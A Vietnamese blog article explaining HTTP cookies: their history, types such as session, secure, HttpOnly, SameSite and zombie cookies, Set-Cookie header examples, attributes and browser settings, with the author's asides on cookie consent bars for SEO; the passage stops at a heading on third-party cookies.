HTTP cookie là gì?

Đây là một bài viết thuần túy kỹ thuật nên cực kỳ khô khan, cả nhà cân nhắc trước khi đọc!

Chắc chắn anh chị em đã từng vào những Website và ở dưới chân trang hoặc ở 1 góc nhỏ sẽ có một thanh bar có 1 dòng đại loại như:

Bằng cách ấn đồng ý, bạn sẽ cho phép chúng tôi sử dụng Cookie để tăng trải nghiệm lướt web! Tôi hiểu !!!

Trong một số bản cập nhật gần đây liên quan đến thuật toán của Google trong việc hiển thị kết quả tìm kiếm, E.A.T đã trở thành những chỉ số rất quan trọng trong việc xếp hạng. Trong việc tăng uy tín của website, việc minh bạch sử dụng Cookies cũng như cho phép khách hàng đồng ý hay từ chối là một kỹ thuật đơn giản nhưng có hiệu quả không tưởng.

Hôm nay em sẽ xin chia sẻ thật sâu về Cookies, bài này từ giờ về sau cũng là link tham khảo trên mọi thanh Cookie Bar trong hệ thống website của #dungcaxinh ạ! Nếu cả nhà chưa có trang liên kết giải thích chi tiết bằng tiếng Việt để giải nghĩa Cookie trên web của mình thì có thể link sang trang này để cả 2 cùng được tăng điểm liên kết hữu ích ạ.

HTTP cookies là gì?

HTTP cookies (còn được gọi là cookie web, cookie Internet, cookie trình duyệt hoặc đơn giản là cookie) là các khối dữ liệu (blocks of data) nhỏ được tạo ra bởi máy chủ web khi người dùng duyệt một trang web và được đặt trên máy tính hoặc thiết bị của người dùng bởi trình duyệt web. Cookie được đặt trên thiết bị được sử dụng để truy cập một trang web, và trong một phiên có thể có nhiều cookie được đặt trên thiết bị của người dùng.

Cookie có các chức năng hữu ích và đôi khi là cần thiết để chạy một tính năng đặc biệt nào đso trên web. Chúng cho phép máy chủ web lưu trữ thông tin có trạng thái (như các mục được thêm vào giỏ hàng trong cửa hàng trực tuyến) trên thiết bị của người dùng hoặc theo dõi hoạt động duyệt web của người dùng (bao gồm nhấp vào các nút cụ thể, đăng nhập hoặc ghi lại các trang đã được truy cập trong quá khứ).[1] Chúng cũng có thể được sử dụng để lưu trữ thông tin mà người dùng đã nhập trước đó vào các trường biểu mẫu, như tên, địa chỉ, mật khẩu và số thẻ thanh toán, để sử dụng lại trong tương lai (thế nên việc quản lý, minh bạch phần này với khách hàng là cực kỳ quan trọng – #dungcaxinh)

Cookie xác thực thường được sử dụng bởi máy chủ web để xác thực rằng người dùng đã đăng nhập và tài khoản nào mà họ đã đăng nhập. Nếu không có cookie, người dùng sẽ cần xác thực bằng cách đăng nhập trên mỗi trang chứa thông tin nhạy cảm mà họ muốn truy cập. Bảo mật của một cookie xác thực thường phụ thuộc vào bảo mật của trang web cấp phát và trình duyệt web của người dùng, và vào việc liệu dữ liệu cookie có được mã hóa hay không. Các lỗ hổng bảo mật có thể cho phép dữ liệu của một cookie bị đọc bởi một kẻ tấn công, được sử dụng để truy cập dữ liệu người dùng, hoặc được sử dụng để truy cập (với thông tin đăng nhập của người dùng) vào trang web mà cookie thuộc về (xem cross-site scripting và cross-site request forgery). [2]

Cookie theo dõi, đặc biệt là cookie theo dõi của bên thứ ba, thường được sử dụng như một cách để tổng hợp lịch sử duyệt web dài hạn của cá nhân – một vấn đề về quyền riêng tư tiềm tàng đã khiến các nhà lập pháp ở châu Âu [3] và Hoa Kỳ hành động vào năm 2011. [4][5] Luật pháp châu Âu yêu cầu tất cả các trang web nhắm đến các quốc gia thành viên Liên minh châu Âu phải thu được “sự đồng ý thông tin” từ người dùng trước khi lưu trữ cookie không cần thiết trên thiết bị của họ. (Đây chính là lý do sau những bản update của Google, rất nhiều website hướng đến đối tượng EU bị mất traffic thảm khốc, 1 trong các lý do dễ thấy nhất là thiếu một Cookie Bar hỏi khách hàng có đồng ý cho phép sử dụng Cookie hay không? – #dungcaxinh)

Bối cảnh

Nguồn gốc cái tên Cookie

Thuật ngữ “cookie” được đặt ra bởi lập trình viên trình duyệt web Lou Montulli. Nó xuất phát từ thuật ngữ “magic cookie“, là một gói dữ liệu mà một chương trình nhận và gửi trở lại mà không thay đổi, được sử dụng bởi các nhà lập trình Unix.[6][7] Thuật ngữ magic cookie chính là xuất phát từ bánh quy thông điệp (fortune cookie), một miếng bánh mỏng có một tờ giấy chứa thông điệp bên trong.[8]

Lịch sử

Các magic cookie đã được sử dụng trong lĩnh vực máy tính khi lập trình viên Lou Montulli đã có ý tưởng sử dụng chúng trong truyền thông web vào tháng 6 năm 1994.[9] Lúc đó, ông là nhân viên của Netscape Communications, và công ty đang phát triển một ứng dụng thương mại điện tử cho MCI. Vint Cerf và John Klensin đại diện cho MCI trong các cuộc thảo luận kỹ thuật với Netscape Communications. MCI không muốn các máy chủ của mình phải lưu giữ trạng thái giao dịch một phần, điều này đã khiến họ yêu cầu Netscape tìm cách lưu trạng thái đó trên máy tính của từng người dùng. Cookie đã cung cấp một giải pháp cho vấn đề triển khai đáng tin cậy giỏ hàng ảo.[10][11]

Cùng với John Giannandrea, Montulli đã viết đặc tả ban đầu về cookie của Netscape cùng năm đó. Phiên bản 0.9beta của Mosaic Netscape, phát hành vào ngày 13 tháng 10 năm 1994,[12][13] đã hỗ trợ cookie.[11] Việc sử dụng cookie lần đầu tiên (ngoài phòng thí nghiệm) là kiểm tra xem khách truy cập trang web Netscape đã từng ghé thăm trang web đó hay chưa. Montulli đã nộp đơn xin cấp bằng sáng chế cho công nghệ cookie vào năm 1995, và năm 1998 đã được cấp bằng sáng chế đó.[14] Hỗ trợ cho cookie đã được tích hợp vào Internet Explorer phiên bản 2, phát hành vào tháng 10 năm 1995.[15]

Việc giới thiệu cookie không được rộng rãi biết đến trong công chúng vào thời điểm đó. Đặc biệt, cookie được chấp nhận mặc định và người dùng không được thông báo về sự tồn tại của chúng. (chưa có nguồn). Công chúng biết đến cookie sau khi báo Financial Times đăng một bài viết về chúng vào ngày 12 tháng 2 năm 1996.[16] Cùng năm đó, cookie nhận được rất nhiều sự chú ý từ phương tiện truyền thông, đặc biệt là về những tác động đến quyền riêng tư. Cookie được thảo luận trong hai cuộc điều trần của Ủy ban Thương mại Liên bang Mỹ (U.S. Federal Trade Commission ) vào năm 1996 và 1997.[2]

Quá trình phát triển các quy định chính thức về cookie đã được tiến hành từ trước. Đặc biệt, cuộc thảo luận đầu tiên về một quy định chính thức đã bắt đầu vào tháng 4 năm 1995 trên danh sách thư điện tử www-talk. Một nhóm làm việc đặc biệt trong Tổ chức Kỹ thuật Mạng Internet (IETF) đã được thành lập. Hai đề xuất thay thế nhau về việc giới thiệu trạng thái trong giao dịch HTTP đã được đề xuất lần lượt bởi Brian Behlendorf và David Kristol. Tuy nhiên, nhóm do chính Kristol và Lou Montulli dẫn đầu nhanh chóng quyết định sử dụng quy định của Netscape làm điểm khởi đầu. Vào tháng 2 năm 1996, nhóm làm việc đã xác định rằng cookie của bên thứ ba đang tạo thành một mối đe dọa lớn về quyền riêng tư. Quy định được nhóm tạo ra cuối cùng đã được công bố dưới dạng RFC 2109 vào tháng 2 năm 1997. Nó quy định rằng cookie của bên thứ ba hoặc không được phép hoàn toàn, hoặc ít nhất là không được kích hoạt theo mặc định.[17] Vào thời điểm này, các công ty quảng cáo đã sử dụng cookie của bên thứ ba. Khuyến nghị về cookie của bên thứ ba trong RFC 2109 không được Netscape và Internet Explorer tuân theo. RFC 2109 đã được thay thế bởi RFC 2965 vào tháng 10 năm 2000.

RFC 2965 đã thêm một trường tiêu đề Set-Cookie2, được gọi một cách không chính thức là “cookie theo kiểu RFC 2965” so với trường tiêu đề Set-Cookie ban đầu được gọi là (Netscape-style cookies) “cookie theo kiểu Netscape”.[18][19] Tuy nhiên, Set-Cookie2 ít được sử dụng và đã bị loại bỏ theo quy định trong RFC 6265 vào tháng 4 năm 2011, mà được viết như một quy định xác định cho cookie được sử dụng trong thế giới thực.[20] Không trình duyệt hiện đại nào công nhận trường tiêu đề Set-Cookie2.[21]

Thuật ngữ

Session cookie

Một “session cookie” (còn được gọi là “cookie trong bộ nhớ” (in-memory cookie), “cookie tạm thời” (transient cookie) hoặc “cookie không lưu trữ” (non-persistent cooki)) chỉ tồn tại trong bộ nhớ tạm thời trong khi người dùng duyệt qua một trang web.[22] Session cookies hết hạn hoặc bị xóa khi người dùng đóng trình duyệt web.[23] Session cookies được trình duyệt nhận dạng bằng sự thiếu hạn sử dụng được gán cho chúng.

Persistent cookie (Cookie bền vững)

Một “cookie bền vững” hết hạn vào một ngày cụ thể hoặc sau một khoảng thời gian nhất định. Trong thời gian tồn tại của cookie bền vững do người tạo ra xác định, thông tin của nó sẽ được truyền tới máy chủ mỗi khi người dùng truy cập vào trang web mà nó thuộc về hoặc mỗi khi người dùng xem một nguồn tài nguyên thuộc về trang web đó từ một trang web khác (như một quảng cáo).

Vì lý do này, cookie bền vững đôi khi được gọi là “cookie theo dõi” vì chúng có thể được sử dụng bởi nhà quảng cáo để ghi lại thông tin về thói quen duyệt web của người dùng trong một khoảng thời gian dài. Cookie bền vững cũng được sử dụng vì các lý do như giữ người dùng đăng nhập vào tài khoản của họ trên các trang web, để tránh việc nhập lại thông tin đăng nhập mỗi khi truy cập.

Secure cookie (Cookie an toàn)

Một “cookie an toàn” chỉ có thể được truyền qua một kết nối mã hóa (tức là HTTPS). Chúng không thể được truyền qua các kết nối chưa được mã hóa (tức là HTTP). Điều này làm cho cookie ít có khả năng bị lộ thông tin qua việc nghe trộm cookie. Một cookie được làm an toàn bằng cách thêm cờ “Secure” vào cookie.

Http-only cookie

Một “cookie chỉ cho HTTP” không thể được truy cập bởi các API phía máy khách, như JavaScript. Hạn chế này loại bỏ nguy cơ mất cookie qua kỹ thuật cross-site scripting (XSS) [24]. Tuy nhiên, cookie vẫn có thể bị tấn công qua cross-site tracing (XST) và cross-site request forgery (CSRF). Một cookie có đặc điểm này bằng cách thêm cờ “HttpOnly” vào cookie.

Same-site cookie

Vào năm 2016, phiên bản 51^[25] của Google Chrome đã giới thiệu một loại cookie mới với thuộc tính SameSite. Thuộc tính SameSite có thể có giá trị là Strict, Lax hoặc None^[26]. Với thuộc tính SameSite=Strict, trình duyệt chỉ gửi cookie cho một tên miền đích giống với tên miền nguồn. Điều này sẽ hiệu quả giảm thiểu các cuộc tấn công cross-site request forgery (CSRF)^[27]. Với SameSite=Lax, trình duyệt sẽ gửi cookie kèm theo yêu cầu đến một tên miền đích, ngay cả khi nó khác với tên miền nguồn, nhưng chỉ cho các yêu cầu an toàn như GET (POST là không an toàn) và không cho phép cookie bên thứ ba (trong iframe). Thuộc tính SameSite=None sẽ cho phép sử dụng cookie bên thứ ba (cross-site), tuy nhiên, hầu hết các trình duyệt yêu cầu thuộc tính secure trên các cookie SameSite=None.^[28]

Các cookie SameSite đã được tích hợp vào bản thảo RFC mới cho “Cookies: Cơ chế Quản lý Trạng thái HTTP” để cập nhật RFC 6265 (nếu được chấp thuận)^[29]. Chrome, Firefox, Microsoft Edge đều đã bắt đầu hỗ trợ các cookie SameSite. Việc triển khai được tập trung vào việc xử lý các cookie hiện có mà không có thuộc tính SameSite được xác định, Chrome đã xử lý những cookie hiện có đó như SameSite=None, điều này sẽ giữ cho tất cả các trang web ứng dụng hoạt động như trước. Google dự định thay đổi mặc định này thành SameSite=Lax vào tháng 2 năm 2020^[30], thay đổi này sẽ làm hỏng những ứng dụng/trang web phụ thuộc vào cookie bên thứ ba/cross-site mà không có thuộc tính SameSite được xác định. Tuy nhiên, với sự thay đổi lớn đối với các nhà phát triển web và tình hình COVID-19, Google đã tạm thời quay lại thay đổi cookie SameSite.^[31]

Supercookie (Siêu Cookie)

Siêu cookie là một cookie có nguồn gốc từ một tên miền cấp cao như .com hoặc một hậu tố công khai như .co.uk. Ngược lại, cookie thông thường có nguồn gốc từ một tên miền cụ thể, ví dụ như example.com.

Siêu cookie có thể gây nguy hiểm về mặt bảo mật và thường bị các trình duyệt web chặn. Nếu không bị chặn bởi trình duyệt, một kẻ tấn công có thể đặt một siêu cookie trên một trang web độc hại và tiềm tàng gây gián đoạn hoặc giả mạo yêu cầu hợp lệ từ người dùng đến một trang web khác chia sẻ cùng tên miền cấp cao hoặc hậu tố công khai với trang web độc hại. Ví dụ, một siêu cookie có nguồn gốc từ .com có thể gây ảnh hưởng độc hại đến yêu cầu được thực hiện đến example.com, ngay cả khi cookie không có nguồn gốc từ example.com. Điều này có thể được sử dụng để giả mạo đăng nhập hoặc thay đổi thông tin người dùng.

Danh sách hậu tố công khai (Public Suffix List) ^[32] giúp giảm thiểu rủi ro mà siêu cookie gây ra. Danh sách hậu tố công khai là một sáng kiến do nhiều nhà cung cấp hỗ trợ nhằm cung cấp một danh sách chính xác và cập nhật về các hậu tố tên miền. Phiên bản trình duyệt cũ có thể không có danh sách mới nhất và do đó sẽ dễ bị tổn thương bởi siêu cookie từ một số tên miền cụ thể.

Other uses

Thuật ngữ “siêu cookie” đôi khi được sử dụng để chỉ các công nghệ theo dõi không phụ thuộc vào cookie HTTP. Hai cơ chế siêu cookie như vậy đã được tìm thấy trên các trang web của Microsoft vào tháng 8 năm 2011: đồng bộ cookie làm tái sinh các cookie MUID (mã nhận dạng duy nhất của máy) và cookie ETag ^[33]. Do sự chú ý của truyền thông, sau đó Microsoft đã tắt mã này ^[34]. Trong bài đăng blog vào năm 2021, Mozilla sử dụng thuật ngữ “siêu cookie” để chỉ việc sử dụng bộ nhớ cache của trình duyệt như một phương tiện để theo dõi người dùng qua các trang web ^[35].

Zombie cookie

• Bài gốc: Zombie cookie và Evercookie

Một “zombie cookie” là dữ liệu và mã được đặt bởi máy chủ web trên máy tính hoặc thiết bị của người truy cập trong một vị trí ẩn ngoài vùng lưu trữ cookie riêng biệt của trình duyệt web, và tự động tạo lại một HTTP cookie như một cookie thông thường sau khi cookie gốc đã bị xóa. Zombie cookie có thể được lưu trữ ở nhiều vị trí khác nhau, chẳng hạn như Flash Local shared object, HTML5 Web storage và các vị trí khác phía máy khách và thậm chí phía máy chủ, và khi phát hiện sự vắng mặt ở một trong những vị trí đó, phiên bản bị thiếu sẽ được tạo lại bằng mã JavaScript sử dụng dữ liệu được lưu trữ ở các vị trí khác. ^[36][37]

Cookie wall

Một “cookie wall” hiện lên trên một trang web và thông báo cho người dùng về việc sử dụng cookie trên trang web. Nó không có tùy chọn từ chối và trang web không thể truy cập được mà không có cookie theo dõi.

Cấu trúc

Một cookie bao gồm các thành phần sau đây:^[38][39][40]

1. Tên
2. Giá trị
3. Không hoặc nhiều thuộc tính (cặp tên/giá trị).  Các thuộc tính lưu trữ thông tin như thời gian hết hạn, miền và các cờ (như Secure và HttpOnly) của cookie.

Sử dụng

Quản lý phiên làm việc (Session management)

Ban đầu, cookie được giới thiệu để cung cấp một cách cho người dùng ghi lại các mục mà họ muốn mua khi duyệt qua các trang web (giỏ hàng ảo hoặc giỏ mua sắm).^[10][11] Tuy nhiên, hiện nay, nội dung của giỏ hàng của người dùng thường được lưu trữ trong cơ sở dữ liệu trên máy chủ, chứ không phải trong cookie trên máy khách. Để theo dõi người dùng nào được gán cho giỏ hàng nào, máy chủ gửi một cookie chứa một định danh phiên làm việc duy nhất (thông thường là một chuỗi dài các chữ cái và số ngẫu nhiên) đến máy khách. Vì cookie được gửi đến máy chủ cùng với mọi yêu cầu mà máy khách tạo ra, định danh phiên làm việc sẽ được gửi lại máy chủ mỗi khi người dùng truy cập một trang web mới trên trang web, cho phép máy chủ biết hiển thị giỏ hàng nào cho người dùng.

Một ứng dụng phổ biến khác của cookie là đăng nhập vào các trang web. Khi người dùng truy cập trang đăng nhập của một trang web, máy chủ web thông thường gửi cho máy khách một cookie chứa một định danh phiên làm việc duy nhất. Khi người dùng đăng nhập thành công, máy chủ ghi nhớ rằng định danh phiên cụ thể đã được xác thực và cấp quyền truy cập của người dùng vào dịch vụ của nó.

Vì cookie phiên làm việc chỉ chứa một định danh phiên duy nhất, điều này làm cho lượng thông tin cá nhân mà một trang web có thể lưu trữ về mỗi người dùng gần như không giới hạn – trang web không bị hạn chế về kích thước cookie có thể có. Cookie phiên cũng giúp cải thiện thời gian tải trang, vì lượng thông tin trong cookie phiên làm việc nhỏ và yêu cầu ít băng thông.

Cá nhân hóa (Personalization)

Cookie có thể được sử dụng để ghi nhớ thông tin về người dùng nhằm hiển thị nội dung phù hợp cho người dùng theo thời gian. Ví dụ, máy chủ web có thể gửi một cookie chứa tên người dùng được sử dụng lần cuối để đăng nhập vào trang web, để có thể tự động điền thông tin đó khi người dùng đăng nhập lần tiếp theo.

Nhiều trang web sử dụng cookie để cá nhân hóa dựa trên sở thích của người dùng. Người dùng chọn sở thích của mình bằng cách nhập thông tin vào một biểu mẫu web và gửi biểu mẫu đến máy chủ. Máy chủ mã hóa các sở thích trong một cookie và gửi cookie trở lại trình duyệt. Nhờ điều này, mỗi khi người dùng truy cập một trang trên trang web, máy chủ có thể cá nhân hóa trang theo sở thích của người dùng. Ví dụ, công cụ tìm kiếm Google từng sử dụng cookie để cho phép người dùng (kể cả người dùng chưa đăng ký) quyết định số kết quả tìm kiếm mỗi trang họ muốn xem. Ngoài ra, DuckDuckGo sử dụng cookie để cho phép người dùng thiết lập các sở thích xem như màu sắc của trang web.

Theo dõi (Tracking)

• Xem thêm: Web tracking

Cookie theo dõi được sử dụng để theo dõi thói quen duyệt web của người dùng. Việc này cũng có thể được thực hiện một phần bằng cách sử dụng địa chỉ IP của máy tính yêu cầu trang hoặc trường referrer trong tiêu đề yêu cầu HTTP, nhưng cookie cho phép đạt được độ chính xác cao hơn. Việc này có thể được chứng minh như sau:

Nếu người dùng yêu cầu một trang trên trang web, nhưng yêu cầu không chứa cookie, máy chủ giả định rằng đây là trang đầu tiên được truy cập bởi người dùng. Vì vậy, máy chủ tạo một định danh duy nhất (thông thường là một chuỗi các chữ cái và số ngẫu nhiên) và gửi nó như một cookie trở lại trình duyệt cùng với trang được yêu cầu. Từ điểm này trở đi, cookie sẽ tự động được gửi bởi trình duyệt đến máy chủ mỗi khi một trang mới từ trang web được yêu cầu. Máy chủ không chỉ gửi trang như thông thường mà còn lưu trữ URL của trang được yêu cầu, ngày/giờ của yêu cầu và cookie trong một tệp nhật ký.

Bằng cách phân tích tệp nhật ký này, ta có thể tìm hiểu được người dùng đã truy cập vào những trang nào, theo thứ tự nào và trong khoảng thời gian bao lâu.

Các công ty khai thác thói quen duyệt web của người dùng bằng cách theo dõi cookie để thu thập thông tin về thói quen mua sắm. Tạp chí Wall Street Journal đã phát hiện rằng 50 trang web hàng đầu của Mỹ đã cài đặt trung bình 64 công nghệ theo dõi vào máy tính, dẫn đến tổng số 3.180 tệp tin theo dõi.^[41] Dữ liệu sau đó có thể được thu thập và bán cho các công ty mua lại.

Thực thi (Implementation)

Cookie là các mẩu dữ liệu tùy ý, thường được chọn và gửi lần đầu bởi máy chủ web và được lưu trữ trên máy tính của người dùng bởi trình duyệt web. Sau đó, trình duyệt gửi chúng trở lại máy chủ mỗi khi yêu cầu, đưa ra trạng thái (bộ nhớ về các sự kiện trước đó) trong các giao dịch HTTP mà không có trạng thái. Mà không có cookie, việc truy xuất một trang web hoặc thành phần của trang web sẽ là một sự kiện cô lập, không liên quan đến các lần xem trang khác mà người dùng đã thực hiện trên trang web. Mặc dù cookie thường được thiết lập bởi máy chủ web, nhưng chúng cũng có thể được thiết lập bởi máy khách sử dụng một ngôn ngữ kịch bản như JavaScript (trừ khi cờ HttpOnly của cookie được thiết lập, trong trường hợp đó cookie không thể được sửa đổi bởi các ngôn ngữ kịch bản).

Các quy định về cookie ^[42][43] yêu cầu trình duyệt đáp ứng các yêu cầu sau để hỗ trợ cookie:

• Có thể hỗ trợ cookie có kích thước tối đa là 4.096 byte.
• Có thể hỗ trợ ít nhất 50 cookie mỗi tên miền (tức là mỗi tên miền).
• Có thể hỗ trợ ít nhất 3.000 cookie trong tổng số.

Thiết lập một Cookie (Setting a cookie)

Cookie được thiết lập bằng cách sử dụng trường tiêu đề Set-Cookie, được gửi trong phản hồi HTTP từ máy chủ web. Trường tiêu đề này chỉ dẫn trình duyệt web lưu trữ cookie và gửi nó trở lại trong các yêu cầu tương lai đến máy chủ (trình duyệt sẽ bỏ qua trường tiêu đề này nếu không hỗ trợ cookie hoặc đã tắt cookie).

Ví dụ, trình duyệt gửi yêu cầu HTTP đầu tiên của nó cho trang chủ của trang web www.example.org:

GET /index.html HTTP/1.1
Host: www.example.org
...

Máy chủ phản hồi với hai trường tiêu đề Set-Cookie:

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: theme=light
Set-Cookie: sessionToken=abc123; Expires=Wed, 09 Jun 2021 10:18:14 GMT
...

Phản hồi HTTP của máy chủ chứa nội dung của trang chủ trang web. Nhưng nó cũng chỉ dẫn trình duyệt thiết lập hai cookie. Cookie đầu tiên, “theme”, được coi là cookie phiên làm việc vì nó không có thuộc tính “Expires” hoặc “Max-Age”. Cookie phiên làm việc được thiết kế để bị xóa bởi trình duyệt khi trình duyệt đóng. Cookie thứ hai, “sessionToken”, được coi là cookie lưu trữ vì nó chứa thuộc tính “Expires”, cho phép máy chủ chỉ dẫn trình duyệt xóa cookie vào một ngày và thời gian cụ thể.

Tiếp theo, trình duyệt gửi một yêu cầu khác để truy cập trang “spec.html” trên trang web. Yêu cầu này chứa một trường tiêu đề “Cookie”, chứa hai cookie mà máy chủ đã chỉ dẫn trình duyệt thiết lập:

GET /spec.html HTTP/1.1
Host: www.example.org
Cookie: theme=light; sessionToken=abc123
…

Như vậy, máy chủ biết rằng yêu cầu HTTP này liên quan đến yêu cầu trước đó. Máy chủ sẽ trả lời bằng cách gửi trang được yêu cầu, có thể bao gồm thêm các trường tiêu đề Set-Cookie trong phản hồi HTTP để chỉ dẫn trình duyệt thêm các cookie mới, sửa đổi các cookie hiện có hoặc xóa các cookie hiện có. Để xóa một cookie, máy chủ phải bao gồm một trường tiêu đề Set-Cookie với một ngày hết hạn ở quá khứ.

Giá trị của một cookie có thể bao gồm bất kỳ ký tự ASCII in được nào (! đến ~, Unicode \u0021 đến \u007E), trừ , và; cùng các ký tự khoảng trắng. Tên của một cookie không bao gồm các ký tự giống như trên, cũng như =, vì đó là ký tự phân tách giữa tên và giá trị. Tiêu chuẩn cookie RFC 2965 hạn chế hơn nhưng không được triển khai bởi các trình duyệt.

Thuật ngữ “cookie crumb” đôi khi được sử dụng để chỉ cặp tên-giá trị của một cookie.^[44]

Cookie cũng có thể được thiết lập bằng các ngôn ngữ kịch bản như JavaScript chạy trong trình duyệt. Trong JavaScript, đối tượng document.cookie được sử dụng cho mục đích này. Ví dụ, lệnh document.cookie = “temperature=20” tạo một cookie có tên temperature và giá trị 20.^[45]

Thuộc tính (Cookie attributes)

Ngoài tên và giá trị, cookie cũng có thể có một hoặc nhiều thuộc tính. Trình duyệt không bao gồm các thuộc tính của cookie trong yêu cầu gửi đến máy chủ – chỉ gửi tên và giá trị của cookie. Các thuộc tính cookie được sử dụng bởi trình duyệt để xác định khi nào xóa cookie, chặn cookie hoặc gửi cookie đến máy chủ.

Tên miền và đường dẫn (Domain and Path)

Các thuộc tính Tên miền (Domain) và Đường dẫn (Path) xác định phạm vi của cookie. Chúng cho trình duyệt biết rằng cookie thuộc về trang web nào. Vì lý do bảo mật, cookie chỉ có thể được thiết lập trên miền chính của nguồn tài nguyên hiện tại và các miền con của nó, và không được áp dụng cho miền khác và các miền con của nó. Ví dụ, trang web example.org không thể thiết lập một cookie có tên miền là foo.com vì điều này sẽ cho phép trang web example.org kiểm soát các cookie của miền foo.com.

Nếu các thuộc tính Tên miền và Đường dẫn không được chỉ định bởi máy chủ, chúng sẽ mặc định là tên miền và đường dẫn của tài nguyên đã được yêu cầu.^[46] Tuy nhiên, trong hầu hết các trình duyệt, có sự khác biệt giữa một cookie được thiết lập từ foo.com mà không có tên miền, và một cookie được thiết lập với tên miền foo.com. Trong trường hợp trước, cookie chỉ được gửi cho các yêu cầu tới foo.com, còn được gọi là cookie chỉ cho máy chủ (host-only cookie). Trong trường hợp sau, tất cả các miền con cũng được bao gồm (ví dụ: docs.foo.com).^[47][48] Một ngoại lệ đáng chú ý đối với quy tắc chung này là Edge trước Windows 10 RS3 và Internet Explorer trước phiên bản IE 11 và Windows 10 RS4 (tháng 4 năm 2018), luôn gửi cookie cho các miền con bất kể cookie có được thiết lập với hoặc không có tên miền.^[49]

Dưới đây là một ví dụ về một số trường tiêu đề Set-Cookie trong phản hồi HTTP của một trang web sau khi người dùng đăng nhập. Yêu cầu HTTP đã được gửi đến một trang web con docs.foo.com:

HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
…

Cookie đầu tiên, LSID, không có thuộc tính Tên miền (Domain) và có thuộc tính Đường dẫn (Path) được thiết lập là /accounts. Điều này cho biết trình duyệt chỉ sử dụng cookie khi yêu cầu các trang nằm trong docs.foo.com/accounts (tên miền được dẫn xuất từ tên miền yêu cầu). Hai cookie khác, HSID và SSID, sẽ được sử dụng khi trình duyệt yêu cầu bất kỳ miền con nào trong .foo.com trên bất kỳ đường dẫn nào (ví dụ: www.foo.com/bar). Dấu chấm đầu không bắt buộc theo tiêu chuẩn gần đây, nhưng có thể được thêm vào để tương thích với các phiên bản dựa trên RFC 2109.^[50]

Expires và Max-Age

Thuộc tính Hết hạn (Expires) xác định một ngày và giờ cụ thể mà trình duyệt sẽ xóa cookie. Ngày và giờ được chỉ định theo định dạng Wdy, DD Mon YYYY HH:MM:SS GMT, hoặc theo định dạng Wdy, DD Mon YY HH:MM:SS GMT cho các giá trị của YY trong khoảng từ 0 đến 69.^[51]

Ngoài ra, thuộc tính Khoảng thời gian tối đa (Max-Age) có thể được sử dụng để đặt thời gian hết hạn của cookie dưới dạng một khoảng thời gian tính bằng giây trong tương lai, liên quan đến thời gian trình duyệt nhận cookie. Dưới đây là ví dụ về ba trường tiêu đề Set-Cookie đã được nhận từ một trang web sau khi người dùng đăng nhập:

HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

Cookie đầu tiên, lu, được thiết lập để hết hạn vào một thời điểm nào đó vào ngày 15 tháng 1 năm 2013. Nó sẽ được trình duyệt của khách hàng sử dụng cho đến thời điểm đó. Cookie thứ hai, made_write_conn, không có ngày hết hạn, khiến nó trở thành một cookie phiên làm việc. Nó sẽ bị xóa sau khi người dùng đóng trình duyệt của mình. Cookie thứ ba, reg_fb_gate, có giá trị được thay đổi thành “deleted”, với thời gian hết hạn ở quá khứ. Trình duyệt sẽ ngay lập tức xóa cookie này vì thời gian hết hạn của nó ở quá khứ. Lưu ý rằng cookie chỉ sẽ bị xóa nếu các thuộc tính tên miền và đường dẫn trong trường Set-Cookie khớp với các giá trị được sử dụng khi cookie được tạo.

Kể từ năm 2016, Internet Explorer không hỗ trợ Max-Age. ^[52][53]

Secure và HttpOnly

Thuộc tính Secure và HttpOnly không có các giá trị đi kèm. Thay vào đó, sự có mặt của chỉ tên thuộc tính của chúng cho biết rằng hành vi của chúng nên được bật.

Thuộc tính Secure được thiết kế để giới hạn việc truyền thông cookie chỉ thông qua kết nối mã hóa, yêu cầu trình duyệt chỉ sử dụng cookie thông qua các kết nối an toàn/mã hóa. Tuy nhiên, nếu một máy chủ web thiết lập một cookie với thuộc tính secure từ một kết nối không an toàn, cookie vẫn có thể bị chặn khi nó được gửi đến người dùng thông qua các cuộc tấn công man-in-the-middle (kẻ thứ ba can thiệp vào trung gian). Do đó, để đảm bảo an ninh tối đa, cookie có thuộc tính Secure chỉ nên được thiết lập qua một kết nối an toàn.

Thuộc tính HttpOnly yêu cầu trình duyệt không tiếp tục tiết lộ cookie qua các kênh khác ngoài các yêu cầu HTTP (và HTTPS). Điều này có nghĩa là cookie không thể truy cập qua các ngôn ngữ kịch bản phía khách hàng (đặc biệt là JavaScript), và do đó không thể bị đánh cắp dễ dàng thông qua các cuộc tấn công cross-site scripting (một kỹ thuật tấn công phổ biến).^[54]

Tùy chỉnh trình duyệt (Browser settings)

Hầu hết các trình duyệt hiện đại hỗ trợ cookie và cho phép người dùng tắt chúng. Dưới đây là một số tùy chọn phổ biến: ^[55]

• Bật hoặc tắt cookie hoàn toàn, để chúng luôn được chấp nhận hoặc luôn bị chặn.
• Xem và xóa cookie theo lựa chọn sử dụng trình quản lý cookie.
• Xóa toàn bộ dữ liệu riêng tư, bao gồm cả cookie.

Cũng tồn tại các công cụ bổ sung để quản lý quyền truy cập cookie. ^{[56][57][58][59]}

Third-party cookie

• Xem thêm: Web analytics § Problems with cookies

